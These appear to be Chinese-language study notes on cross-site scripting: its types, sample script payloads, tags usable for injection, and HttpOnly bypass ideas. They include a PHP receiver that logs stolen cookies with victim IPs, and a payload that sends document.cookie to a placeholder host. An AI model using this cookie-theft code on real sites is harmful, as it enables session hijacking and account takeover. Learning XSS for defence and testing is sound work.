XSS跨站漏洞产生原理,危害,特点?
本质,产生层面,函数类,漏洞操作对应层,危害影响,浏览器内核版本等
Xss跨站漏洞分类
反射型(会经过后端服务器)
存储型
DOM型(也是反射型,它不经过后端服务器,只经过前端渲染)
正常情况下,只有存储型才有作用
>onclick="alert (2) "
<script>alert (2)</script>
其他标签
<script> <a> <p> <img> <body> <button> <var> <div> <iframe> <object> <input>
<textarea> <keygen> <frameset> <embed> <svg> <math> <video> <audio> <select>
实例:获取cooick
接收端:
文件夹cookie下文件GET_cookie
<?php
$cookie = $_GET['cookie'];//获取cookie
$ip = getenv ('REMOTE_ADDR');//获取发送端的ip
$time = date("Y-m-d H:i:s", time()+8*60*60);//获取当前时间
$fp = fopen("cookie.txt","a");//打开文件cookie.txt没有的话就创建
fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie."\n");//写入文件
fclose($fp);//关闭文件
?>
发送端
<script>window.open('http://XXXXXXX/cookie/GET_cookie.php/?cookie='+document.cookie)</script>
结果图
代码及httponly绕过
什么是httponly
-
如果cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,窃取cookie内容,这样就增加了cookie的安全性,即便是这样,也不要将重要信息存入cookie。XSS全称Cross SiteScript。
-
各个主流的脚本语言都支持httponly。
-
httponly只能阻止获取cookie
-
虽然httponly可以阻止获取cookie的攻击,但是XSS漏洞还是存在的,可以用alert(1)来测试。
绕过方法
- 浏览器保存密码:浏览器读取帐号密
- 浏览器没有保存密码:通过网站劫持获取密码,需要 xss 产生登录地址
- xss生成地址:https://xss8.cc/
暂时没有实操